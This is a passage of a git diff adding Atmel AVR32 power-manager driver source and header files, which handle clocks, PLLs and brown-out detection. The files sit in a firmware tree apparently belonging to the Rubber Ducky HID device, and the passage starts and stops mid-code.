pm_wait_for_clk32_ready(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_OSC32RDY_MASK)); +} + + +void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long *p_cksel) +{ + *p_cksel = pm->cksel; +} + + +void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel) +{ + pm->cksel = cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_cksel(volatile avr32_pm_t *pm, + unsigned int pbadiv, + unsigned int pbasel, + unsigned int pbbdiv, + unsigned int pbbsel, + unsigned int hsbdiv, + unsigned int hsbsel) +{ + u_avr32_pm_cksel_t u_avr32_pm_cksel = {0}; + + u_avr32_pm_cksel.CKSEL.cpusel = hsbsel; + u_avr32_pm_cksel.CKSEL.cpudiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.hsbsel = hsbsel; + u_avr32_pm_cksel.CKSEL.hsbdiv = hsbdiv; + u_avr32_pm_cksel.CKSEL.pbasel = pbasel; + u_avr32_pm_cksel.CKSEL.pbadiv = pbadiv; + u_avr32_pm_cksel.CKSEL.pbbsel = pbbsel; + u_avr32_pm_cksel.CKSEL.pbbdiv = pbbdiv; + + pm->cksel = u_avr32_pm_cksel.cksel; + + // Wait for ckrdy bit and then clear it + while (!(pm->poscsr & AVR32_PM_POSCSR_CKRDY_MASK)); +} + + +void pm_gc_setup(volatile avr32_pm_t *pm, + unsigned int gc, + unsigned int osc_or_pll, // Use Osc (=0) or PLL (=1) + unsigned int pll_osc, // Sel Osc0/PLL0 or Osc1/PLL1 + unsigned int diven, + unsigned int div) +{ + u_avr32_pm_gcctrl_t u_avr32_pm_gcctrl = {0}; + + u_avr32_pm_gcctrl.GCCTRL.oscsel = pll_osc; + u_avr32_pm_gcctrl.GCCTRL.pllsel = osc_or_pll; + u_avr32_pm_gcctrl.GCCTRL.diven = diven; + u_avr32_pm_gcctrl.GCCTRL.div = div; + + pm->gcctrl[gc] = u_avr32_pm_gcctrl.gcctrl; +} + + +void pm_gc_enable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] |= AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_gc_disable(volatile avr32_pm_t *pm, + unsigned int gc) +{ + pm->gcctrl[gc] &= ~AVR32_PM_GCCTRL_CEN_MASK; +} + + +void pm_pll_setup(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int mul, + unsigned int div, + unsigned int osc, + unsigned int lockcount) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {0}; + + u_avr32_pm_pll.PLL.pllosc = osc; + u_avr32_pm_pll.PLL.plldiv = div; + u_avr32_pm_pll.PLL.pllmul = mul; + u_avr32_pm_pll.PLL.pllcount = lockcount; + + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +void pm_pll_set_option(volatile avr32_pm_t *pm, + unsigned int pll, + unsigned int pll_freq, + unsigned int pll_div2, + unsigned int pll_wbwdisable) +{ + u_avr32_pm_pll_t u_avr32_pm_pll = {pm->pll[pll]}; + u_avr32_pm_pll.PLL.pllopt = pll_freq | (pll_div2 << 1) | (pll_wbwdisable << 2); + pm->pll[pll] = u_avr32_pm_pll.pll; +} + + +unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, + unsigned int pll) +{ + return (pm->pll[pll] & AVR32_PM_PLLOPT_MASK) >> AVR32_PM_PLLOPT_OFFSET; +} + + +void pm_pll_enable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] |= AVR32_PM_PLLEN_MASK; +} + + +void pm_pll_disable(volatile avr32_pm_t *pm, + unsigned int pll) +{ + pm->pll[pll] &= ~AVR32_PM_PLLEN_MASK; +} + + +void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK0_MASK)); +} + + +void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm) +{ + while (!(pm->poscsr & AVR32_PM_POSCSR_LOCK1_MASK)); +} + + +unsigned long pm_get_clock(volatile avr32_pm_t *pm) +{ + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + return u_avr32_pm_mcctrl.MCCTRL.mcsel; +} + + +void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock) +{ + // Read + u_avr32_pm_mcctrl_t u_avr32_pm_mcctrl = {pm->mcctrl}; + // Modify + u_avr32_pm_mcctrl.MCCTRL.mcsel = clock; + // Write back + pm->mcctrl = u_avr32_pm_mcctrl.mcctrl; +} + + +void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup) +{ + pm_enable_osc0_crystal(pm, fosc0); // Enable the Osc0 in crystal mode + pm_enable_clk0(pm, startup); // Crystal startup time - This parameter is critical and depends on the characteristics of the crystal + pm_switch_to_clock(pm, AVR32_PM_MCSEL_OSC0); // Then switch main clock to Osc0 +} + + +void pm_bod_enable_irq(volatile avr32_pm_t *pm) +{ + pm->ier = AVR32_PM_IER_BODDET_MASK; +} + + +void pm_bod_disable_irq(volatile avr32_pm_t *pm) +{ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); + + if (global_interrupt_enabled) Disable_global_interrupt(); + pm->idr = AVR32_PM_IDR_BODDET_MASK; + pm->isr; + if (global_interrupt_enabled) Enable_global_interrupt(); +} + + +void pm_bod_clear_irq(volatile avr32_pm_t *pm) +{ + pm->icr = AVR32_PM_ICR_BODDET_MASK; +} + + +unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm) +{ + return ((pm->isr & AVR32_PM_ISR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm) +{ + return ((pm->imr & AVR32_PM_IMR_BODDET_MASK) != 0); +} + + +unsigned long pm_bod_get_level(volatile avr32_pm_t *pm) +{ + return (pm->bod & AVR32_PM_BOD_LEVEL_MASK) >> AVR32_PM_BOD_LEVEL_OFFSET; +} + + +unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp) +{ + return pm->gplp[gplp]; +} + + +void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value) +{ + pm->gplp[gplp] = value; +} + + +long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr |= (1<<(module%32)); + + return PASS; +} + +long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module) +{ + unsigned long domain = module>>5; + unsigned long *regptr = (unsigned long*)(&(pm->cpumask) + domain); + + // Implementation-specific shortcut: the ckMASK registers are contiguous and + // memory-mapped in that order: CPUMASK, HSBMASK, PBAMASK, PBBMASK. + + *regptr &= ~(1<<(module%32)); + + return PASS; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h new file mode 100755 index 0000000..605be41 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.h @@ -0,0 +1,515 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _PM_H_ +#define _PM_H_ + +#include +#include "compiler.h" +#include "preprocessor.h" + + +/*! \brief Sets the MCU in the specified sleep mode. + * + * \param mode Sleep mode: + * \arg \c AVR32_PM_SMODE_IDLE: Idle; + * \arg \c AVR32_PM_SMODE_FROZEN: Frozen; + * \arg \c AVR32_PM_SMODE_STANDBY: Standby; + * \arg \c AVR32_PM_SMODE_STOP: Stop; + * \arg \c AVR32_PM_SMODE_DEEP_STOP: DeepStop; + * \arg \c AVR32_PM_SMODE_STATIC: Static. + */ +#define SLEEP(mode) {__asm__ __volatile__ ("sleep "STRINGZ(mode));} + + +//! Input and output parameters when initializing PM clocks using pm_configure_clocks(). +typedef struct +{ + //! CPU frequency (input/output argument). + unsigned long cpu_f; + + //! PBA frequency (input/output argument). + unsigned long pba_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; +} pm_freq_param_t; + +#define PM_FREQ_STATUS_FAIL (-1) +#define PM_FREQ_STATUS_OK (0) + + +/*! \brief Gets the MCU reset cause. + * + * \param pm Base address of the Power Manager instance (i.e. &AVR32_PM). + * + * \return The MCU reset cause which can be masked with the + * \c AVR32_PM_RCAUSE_x_MASK bit-masks to isolate specific causes. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline unsigned int pm_get_reset_cause(volatile avr32_pm_t *pm) +{ + return pm->rcause; +} + + +/*! + * \brief This function will enable the external clock mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + */ +extern void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0); + + +/*! + * \brief This function will enable the oscillator 0 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 0. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk0(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 0 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 0 startup time, for which the function does not wait. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc0 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc1 Oscillator 1 crystal frequency (Hz) + */ +extern void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1); + + +/*! + * \brief This function will enable the oscillator 1 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 1. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk1(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 1 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 1 startup time, for which the function does not wait. AVR32_PM_OSCCTRL1_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the Osc1 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the external clock mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the crystal mode of the 32-kHz oscillator. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_enable_osc32_crystal(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with a startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will disable the oscillator 32. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_disable_clk32(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will enable the oscillator 32 to be used with no startup time. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param startup Clock 32 kHz startup time, for which the function does not wait. AVR32_PM_OSCCTRL32_STARTUP_x_RCOSC. + */ +extern void pm_enable_clk32_no_wait(volatile avr32_pm_t *pm, unsigned int startup); + + +/*! + * \brief This function will wait until the osc32 clock is ready. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_clk32_ready(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will select all the power manager clocks. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pbadiv Peripheral Bus A clock divisor enable + * \param pbasel Peripheral Bus A select + * \param pbbdiv Peripheral Bus B clock divisor enable + * \param pbbsel Peripheral Bus B select + * \param hsbdiv High Speed Bus clock divisor enable (CPU clock = HSB clock) + * \param hsbsel High Speed Bus select (CPU clock = HSB clock ) + */ +extern void pm_cksel(volatile avr32_pm_t *pm, unsigned int pbadiv, unsigned int pbasel, unsigned int pbbdiv, unsigned int pbbsel, unsigned int hsbdiv, unsigned int hsbsel); + + +/*! + * \brief This function will setup a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + * \param osc_or_pll Use OSC (=0) or PLL (=1) + * \param pll_osc Select Osc0/PLL0 or Osc1/PLL1 + * \param diven Generic clock divisor enable + * \param div Generic clock divisor + */ +extern void pm_gc_setup(volatile avr32_pm_t *pm, unsigned int gc, unsigned int osc_or_pll, unsigned int pll_osc, unsigned int diven, unsigned int div); + + +/*! + * \brief This function will enable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_enable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will disable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_disable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will setup a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param mul PLL MUL in the PLL formula + * \param div PLL DIV in the PLL formula + * \param osc OSC number (0 for osc0, 1 for osc1) + * \param lockcount PLL lockount + */ +extern void pm_pll_setup(volatile avr32_pm_t *pm, unsigned int pll, unsigned int mul, unsigned int div, unsigned int osc, unsigned int lockcount); + + +/*! + * \brief This function will set a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param pll_freq Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + * \param pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + * \param pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + */ +extern void pm_pll_set_option(volatile avr32_pm_t *pm, unsigned int pll, unsigned int pll_freq, unsigned int pll_div2, unsigned int pll_wbwdisable); + + +/*! + * \brief This function will get a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \return Option + */ +extern unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will enable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_enable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will disable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_disable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will wait for PLL0 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will wait for PLL1 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function returns the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param p_cksel output cksel value +*/ +extern void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long* p_cksel); + + +/*! + * \brief This function set the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param cksel The cksel value. +*/ +extern void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel); + + +/*! + * \brief This function returns the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \retval The main clock value. +*/ +extern unsigned long pm_get_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will switch the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param clock Clock to be switched on. AVR32_PM_MCSEL_SLOW for RCOsc, AVR32_PM_MCSEL_OSC0 for Osc0, AVR32_PM_MCSEL_PLL0 for PLL0. + */ +extern void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock); + + +/*! + * \brief Switch main clock to clock Osc0 (crystal mode) + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + * \param startup Crystal 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup); + + +/*! \brief Enables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_enable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Disables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_disable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Clears the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_clear_irq(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 No BOD interrupt. + * \retval 1 BOD interrupt pending. + */ +extern unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt enable status. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 BOD interrupt disabled. + * \retval 1 BOD interrupt enabled. + */ +extern unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm); + + +/*! \brief Gets the triggering threshold of the Brown-Out Detector. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \return Triggering threshold of the BOD. See the electrical characteristics + * in the part datasheet for actual voltage levels. + */ +extern unsigned long pm_bod_get_level(volatile avr32_pm_t *pm); + + +/*! + * \brief Read the content of the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp); + + +/*! + * \brief Write into the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value); + + +/*! \brief Enable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module); + +/*! \brief Disable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module); + + + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * according to the user wishes. + * + * This function needs some parameters stored in a pm_freq_param_t structure: + * - cpu_f and pba_f are the wanted frequencies, + * - osc0_f is the oscillator 0 on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0 startup time (e.g. OSC0_STARTUP). + * + * The function will then configure the clocks using the following rules: + * - It first try to find a valid PLL frequency (the highest possible value to avoid jitter) in order + * to satisfy the CPU frequency, + * - It optimizes the configuration depending the various divide stages, + * - Then, the PBA frequency is configured from the CPU freq. + * - Note that HSB and PBB are configured with the same frequency as CPU. + * - Note also that the number of wait states of the flash read accesses is automatically set-up depending + * the CPU frequency. As a consequence, the application needs the FLASHC driver to compile. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \param param pointer on the configuration structure. + * + * \retval PM_FREQ_STATUS_OK Mode successfully initialized. + * \retval PM_FREQ_STATUS_FAIL The configuration can not be done. + */ +extern int pm_configure_clocks(pm_freq_param_t *param); + + +/*! \brief Automatically configure the USB clock. + * + * USB clock is configured to 48MHz, using the PLL1 from the Oscillator0, assuming + * a 12 MHz crystal is connected to it. + */ +extern void pm_configure_usb_clock(void); + + +#endif // _PM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c new file mode 100755 index 0000000..2a73ae7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c @@ -0,0 +1,266 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager clocks configuration helper. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "pm.h" + +extern void flashc_set_wait_state(unsigned int wait_state); +#if (defined AVR32_FLASHC_210_H_INCLUDED) +extern void flashc_issue_command(unsigned int command, int page_number); +#endif + + +#define PM_MAX_MUL ((1 << AVR32_PM_PLL0_PLLMUL_SIZE) - 1) + + +int pm_configure_clocks(pm_freq_param_t *param) +{ + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Switch to external Oscillator 0 + pm_switch_to_osc0(&AVR32_PM, in_osc0_f, param->osc0_startup); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PM_FREQ_STATUS_OK; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return PM_FREQ_STATUS_FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return PM_FREQ_STATUS_FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + pm_pll_setup(&AVR32_PM + , 0 // pll + , mul // mul + , div // div + , 0 // osc + , 16 // lockcount + ); + + pm_pll_set_option(&AVR32_PM + , 0 // pll + // PLL clock is lower than 160MHz: need to set pllopt. + , (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0 // pll_freq + , div2_en // pll_div2 + , 0 // pll_wbwdisable + ); + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; 